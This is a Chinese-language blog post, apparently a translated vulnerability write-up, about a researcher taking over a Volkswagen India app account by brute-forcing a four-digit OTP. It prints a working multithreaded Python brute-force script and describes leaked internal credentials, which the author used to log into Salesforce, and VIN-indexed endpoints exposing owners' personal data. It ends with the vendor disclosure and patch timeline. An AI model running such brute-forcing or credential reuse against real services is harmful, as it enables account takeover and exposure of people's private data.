入侵我的车,甚至你的车——大众汽车应用程序存在安全漏洞
入侵我的车,甚至你的车——大众汽车应用程序存在安全漏洞
LoopSec Ots安全 2025-05-29 10:29
作者是一位安全研究人员,于是他使用了Burp Suite(一种常用的网络安全测试工具)来分析应用的网络请求。他通过设置iPhone的Wi-Fi代理并安装Burp的CA证书,成功拦截了应用发送的所有请求。
暴力破解OTP
作者发现了一个登录端点(endpoint),这个端点负责验证四位数的OTP。由于Burp Suite社区版的暴力破解速度太慢,作者编写了一个Python脚本,利用多线程技术(ThreadPoolExecutor)快速尝试所有10,000个可能的OTP组合。代码的核心逻辑是向API端点发送请求,尝试不同的OTP,直到找到正确的代码。
几秒钟后,脚本成功找到了一个有效的OTP,应用立即将车辆添加到作者的账户中,显示在“My Volkswagen Car”部分。这意味着作者成功“接管”了这辆车在应用中的控制权。
进一步探索
成功登录后,作者继续分析应用的API请求,发现了更多严重的安全漏洞:
– 漏洞1:内部凭据以明文泄露
一个API端点直接以明文形式暴露了内部服务的密码、令牌(Tokens)和用户名,包括支付处理系统和Salesforce等CRM工具的凭据。作者甚至使用这些凭据成功登录了Salesforce系统。
- 漏洞2:通过VIN暴露车主个人信息
另一个API端点允许通过VIN号查询车辆的所有服务和维护记录。这些记录包含了大量的车主个人信息,例如姓名、电话号码、家庭地址、电子邮件地址、车辆详细信息(型号、颜色、注册号码、底盘号码、发动机号码)、服务合同、购买日期和支付金额等。
- 漏洞3:通过VIN访问车辆服务历史
第三个端点暴露了车辆的完整服务历史,包括每次到服务中心的维修记录、维修细节、客户个人信息,甚至客户对服务的满意度调查结果。
- 其他敏感数据泄露
额外的API端点还泄露了车辆的遥测数据(telematics data),甚至包括车主的教育背景和驾驶执照号码等信息。
购买二手车看似简单——付钱、拿钥匙、播放你最喜欢的歌单,然后开车走人。然而,在这个万物互联的时代,“所有权”的意义远不止驾驶座。
2024年,我买了一辆二手车。作为一个科技迷,我迫不及待地想探索它的互联功能。车停好后,我立即在手机上安装了“我的大众”(ŠKODA Auto Volkswagen India Pvt Ltd)应用程序。设置过程中,它要求输入车辆识别号码(VIN)——很简单,就在挡风玻璃上。然后,它要求输入一个四位数的一次性密码(OTP)——我以为获取这个密码应该很容易。结果并非如此。
当挫折激发好奇心
OTP 被发送到了前车主的手机上。我打电话给汽车经销商,询问前车主的联系方式。虽然他提供了他们的电话号码,但我还是没能通过电话联系到他们。我发了一条短信,等了一个小时,却没有收到任何回复。
迫不及待地想要尝试一下这款应用,我尝试输入一些随机代码,看看能否成功。但什么也没成功。
即使我尝试了 10 到 15 次,应用程序也没有阻止我继续尝试。这激起了我的直觉:如果我暴力破解所有 10,000 种组合怎么办?它会阻止我吗?
发现过程(有趣的技术部分)
距离我上次使用值得信赖的旧款Burp Suite已经有一段时间了。
配置我的 iPhone 的 Wi-Fi 代理并安装 Burp 的 CA 证书后,我使用随机 OTP 触发了一个请求,以查看它是什么样子(查看此处以获取有关如何自行操作的完整指南)。
很快,我就能检查该应用程序通过互联网发送的所有请求了。在筛选这些请求寻找我的 OTP 时,我发现了其他几个有趣的 API 调用,我将在下面讨论。
这是等待我的四位数代码的登录端点。
一旦我识别了请求,我就会尝试强制破解 OTP 字段,但 Burp 社区版本的速度太慢了,让我很不满意。
我编写了一个 Python 脚本,
import requestsfrom concurrent.futures import ThreadPoolExecutor, as_completed# API endpointurl = <REDACTED># Headers for the requestheaders = { "Host": <REDACTED>, "Accept": "*/*", "Content-Type": "application/json", "Authorization": <REDACTED>}# Data templatedata_template = { "brand": "VW", "installationID": <REDACTED>, "userID": <REDACTED>, "vehicleID": <REDACTED>, "otp": "5555"# OTP placeholder}# Function to send a single requestdefsend_request(otp): otp_str = f"{otp:04}"# Format OTP as 4 digits data = data_template.copy() data["otp"] = otp_str try: response = requests.post(url, json=data, headers=headers) result = f"OTP: {otp_str} | Response Code: {response.status_code} | Body: {response.text}" except requests.exceptions.RequestException as e: result = f"OTP: {otp_str} | Error: {e}" return result# Concurrent executiondefmain(): max_workers = 100# Number of concurrent threads with ThreadPoolExecutor(max_workers=max_workers) as executor, open("responses.txt", "w") as file: # Submit tasks for each OTP futures = {executor.submit(send_request, otp): otp for otp in range(10000)} for future in as_completed(futures): result = future.result() # Log to console for monitoring print(result) # Write result to file file.write(result + "\n")if __name__ == "__main__": main()
几秒钟之内,脚本就命中了有效的 OTP,应用程序最终列出了我的车,
表示响应成功的输出
汽车已添加到“我的大众汽车”部分
我终于成功访问了我的车!但这不禁让我怀疑,这个应用程序可能还存在哪些安全漏洞?我回到 Burp,检查了各种 API 调用,发现了几个严重的问题:
漏洞1:内部凭证以明文形式泄露
API 端点以明文形式公开各种内部服务的密码、令牌和用户名,其中包括内部应用程序、支付处理详细信息,甚至销售人员等 CRM 工具。
密码、令牌、用户名
使用上述凭证成功对其中一个服务进行身份验证 — salesforce
漏洞2:通过车辆识别码 (VIN) 泄露车主个人信息
另一个 API 端点仅使用 VIN 号码即可显示汽车购买的所有服务和维护包。
每个服务包条目都包含大量客户信息,包括姓名、电话号码、邮政地址、电子邮件地址、汽车详细信息(型号、颜色、注册号、底盘号、发动机号)、有效服务合同、购买日期和付款金额等。
任何车辆的购买套餐均可通过车辆识别号码 (VIN) 访问
显示可通过此端点访问的数据的示例条目:
{ "old": { "VALID_CONTRACTS_AND_INTREM_CONTRACTS_VW": { "CONTRACT_ID": <REDACTED>, "PRODUCT_NAME": <REDACTED>, "PRODUCT_DESC": <REDACTED>, "PAYMENT_STATUS": null, "PRODUCT_ID": <REDACTED>, "MST_VAS_TYPE_ID": <REDACTED>, "PLAN_ID": <REDACTED>, "INVOICE_NUMBER": <REDACTED>, "DEALER_ID": <REDACTED>, "DATE_OF_SALE": <REDACTED>, "SELLER_ID": null, "SELLER_TYPE": <REDACTED>, "SOLD_BY": null, "SOLD_TYPE": <REDACTED>, "VALID_FROM_DATE": <REDACTED>, "VALID_TILL_DATE": <REDACTED>, "VALID_TILL_DISTANCE": null, "IS_OWNERSHIP_CHANGED": null, "STATUS": <REDACTED>, "GENERAL_COMMENTS": null, "IS_SHORTCLOSED": null, "SHORTCLOSED_ON": null, "SHORTCLOSED_COMMENTS": null, "VIN": <REDACTED>, "ENGINE_NUMBER": <REDACTED>, "CHASSIS_NUMBER": <REDACTED>, "REGD_NUMBER": <REDACTED>, "ORDER_FROM": null, "CURRENT_KM": null, "MODEL": <REDACTED>, "VARIANT": <REDACTED>, "COLOR": null, "SHADE": null, "PUR_CITY": null, "REGD_CITY": null, "REGD_OWNER": <REDACTED>, "USER_NAME": null, "MOBILE": <REDACTED>, "FAX": null, "PHONE": null, "EMAIL": <REDACTED>, "ADDRESS_LINE1": <REDACTED>, "ADDRESS_LINE2": null, "CITY": <REDACTED>, "PINCODE": <REDACTED>, "CREATED_ON": <REDACTED>, "CREATED_BY": <REDACTED>, "MODIFIED_ON": <REDACTED>, "MODIFIED_BY": <REDACTED>, "PARTS_MRP": <REDACTED>, "LABOR_COST": <REDACTED>, "SWACH_BHARAT_CESS": null, "KRISHI_KALYAN_CESS": null, "SERVICETAX": null, "SWACH_BHARAT_CESS_PERCENTAGE": null, "KRISHI_KALYAN_CESS_PERCENTAGE": null, "SERVICETAX_PERCENTAGE": null, "CUSTOMER_GSTIN": null, "CUSTOMER_GSTIN_AVAILABLE": null, "SGST": <REDACTED>, "IGST": <REDACTED>, "CGST": <REDACTED>, "CESS": <REDACTED>, "GSTIN": null, "SGST_PERCENTAGE": <REDACTED>, "CGST_PERCENTAGE": <REDACTED>, "IGST_PERCENTAGE": <REDACTED>, "CESS_PERCENTAGE": <REDACTED>, "STATE_NUM": <REDACTED>, "RELATED_CONTRACT_ID": <REDACTED>, "FUEL_TYPE": <REDACTED>, "ODOMETER_READING": <REDACTED>, "CONTRACT_STATUS": <REDACTED>, "CERTIFICATE_NUMBER": null, "MODEL_CODE": null, "SCORE": null, "UPLOAD_FILES": null, "CREDIT_INVOICE_NUMBER": null, "CREDIT_CREATED_ON": null, "MODEL_YEAR": <REDACTED>, "BRAND": <REDACTED>, "EW_NUMBER": null, "TYPE_OF_CONTRACT": <REDACTED>, "COST_BEFORE_DEALER_DISCOUNT": null, "DEALER_DISCOUNT_TYPE": null, "DEALER_DISCOUNT_VALUE": null, "COST_AFTER_DEALER_DISCOUNT": null, "IRN_NUMBER": null, "QR_CODE": null, "IS_IRN_CANCELLED": null, "DISS_K_QUERY_NO": null, "RO_NUMBER": null, "DIAGNOSTIC_PROTOCOL_ID": null, "DAN_NUMBER": null, "DAN_DATE": null, "CARPORT_FILE_GEN": <REDACTED>, "MODE_OF_PAYMENT": null, "PRICE": "0.00" } } }
漏洞3:可通过VIN访问车辆服务历史记录
另一个端点公开了任何车辆在服务中心的所有访问期间的服务历史记录和所做工作的详细信息,同样,只需使用 VIN 号码即可访问。
每次访问车间都有一个条目,其中包括所执行的工作的详细信息、客户的个人信息,甚至每次访问的客户调查结果!
使用车辆识别号码 (VIN) 可查看任何车辆的服务历史记录
显示可通过此端点访问的数据的示例条目:
{ "attributes": { "type": <REDACTED>, "url": <REDACTED> }, "Id": <REDACTED>, "CreatedDate": <REDACTED>, "VW_VIN__c": <REDACTED>, "VW_Registration_No__c": <REDACTED>, "RO_Closed_Date__c": <REDACTED>, "RO_Type__c": <REDACTED>, "Delivery_Date_Nadcon__c": <REDACTED>, "Mileage_Out__c": 27670, "Service_Dealer__c": <REDACTED>, "Customer_Voice__c": <REDACTED>, "Item_Amount__c": 9898.32, "Labor_Amount__c": 3812.66, "Amount__c": 13710.98, "Selling_Dealer_Code__c": <REDACTED>, "Post_Service_feedback_for_VW_HQ__c": false, "VW_Brand__c": <REDACTED>, "VW_RO_Number__c": <REDACTED>, "Repair_Order__c": <REDACTED>, "SA__c": <REDACTED>, "RecordTypeId": <REDACTED>, "Service_Dealer__r": { "attributes": { "type": <REDACTED>, "url": <REDACTED> }, "Id": <REDACTED>, "Name": <REDACTED> }, "Repair_Order__r": { "attributes": { "type": <REDACTED>, "url": <REDACTED> }, "Id": <REDACTED>, "City__c": <REDACTED>, "Discount__c": <REDACTED>, "Discount_Amount__c": <REDACTED>, "Pincode__c": <REDACTED>, "State__c": <REDACTED>, "Total_GST__c": <REDACTED>, "address__c": <REDACTED> } } ],"Overall_customer_satisfaction_score": <REDACTED>,"Message": null,"Dealer_PSF_Question_rated_less_than_4_star": { "Will you need to revisit to a workshop because work carried-out incorrectly and/or incompletely in this visit.": No, "Was your last workshop visit due to incorrect work done in an earlier visit": "No" },"customerMasterData": { "attributes": { "type": <REDACTED>, "url": <REDACTED> }, "Id": <REDACTED>, "VW_CustomerName__c": <REDACTED>, "VW_Primary_Email_ID__c": <REDACTED>, "VW_Address_Line_1__c": <REDACTED>, "Registered_Owner_Address__c": <REDACTED>, "VW_Active__c": true, "VW_DOB__c": <REDACTED>, "VW_Permanent_Mobile_Number__c": <REDACTED> }
其他 API 端点泄露了车辆远程信息处理数据,在某些情况下甚至泄露了“学历”和“驾驶执照”号码。这表明客户数据泄露的严重程度。
来自以下某个端点的示例数据:
{ "isSuccessful": true,"messagecode": 200,"message": "Success","userInfo": { "userID": <REDACTED>, "name": <REDACTED>, "primaryMailID": <REDACTED>, "secondaryMailID": <REDACTED>, "primaryContact": <REDACTED>, "secondaryContact": <REDACTED>, "emergencyContact": <REDACTED>, "familyType": <REDACTED>, "dob": <REDACTED>, "educationQualification": <REDACTED>, "communicationAddress": <REDACTED>, "otherCarDetail": <REDACTED>, "drivingLicence": <REDACTED>, "preferCommunicationModel": <REDACTED> },"loginDetails": { "loginVia": "Email", "otpVerifiedStatus": true },"notificationSettings": { "brandVoiceAlert": false, "serviceDueVoiceAlert": false, "insuranceVoiceAlert": false, "pucVoiceAlert": false, "brandAlert": false, "serviceDueAlert": false, "insuranceAlert": false, "pucAlert": false }
简单的来说,
任何人都可以通过该应用程序添加您的车辆并获取该车辆的所有可用信息和控制权。
其中包括车辆位置、发动机健康状况、燃油统计、轮胎压力、地理围栏控制等。
此外,您的所有个人信息,如家庭住址、电话号码、电子邮件、驾驶执照,甚至服务历史、投诉和汽车问题都将被获取。
这为什么重要?
想象一下,如果跟踪者或犯罪分子掌握了这些数据,他们就能轻而易举地确定你的实时位置、家庭住址、常去的地方、电话号码、电子邮件地址等等。
那么骗子怎么办?他们可能会假装是经销商或保险公司的人员,并利用这些数据让自己看起来非常有说服力。
那么黑客呢?好吧,你的所有个人信息都可能被放到深网出售,更糟的是,他们将来甚至可能访问你的汽车系统。
所有这些都是通过利用任何人都可以通过汽车挡风玻璃快速查看到的信息来实现的!
当我联系大众汽车时发生了什么?剧透预警:这需要耐心、保密协议,以及比我愿意承认的更多的咖啡。
报告与披露之旅
我于 2024 年 11 月 23 日首次向大众安全团队报告了该漏洞,包括测试时收集的所有证据。
我花了一些时间才找到正确的安全披露联系人。最终,我在他们的 security.txt 文件中找到了它:https ://www.volkswagen.de/.well-known/security.txt —[email protected] 。
大众汽车团队迅速做出回应,于 2024 年 11 月 27 日(即我发送第一封电子邮件的四天后)发送了确认信息。
在接下来的三个月里,我们交换了几封后续电子邮件,大众汽车的安全团队在整个过程中保持了高度响应。
到目前为止,从技术角度来看更新非常有限,我不确定修复这些问题延迟的确切原因。
最后,在 2025 年 4 月 3 日,该团队提出了一份保密协议,允许他们分享技术细节和内部补救计划。
2025 年 5 月 6 日,我与大众汽车的所有利益相关者会面讨论解决方案,并确认漏洞已得到修补。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里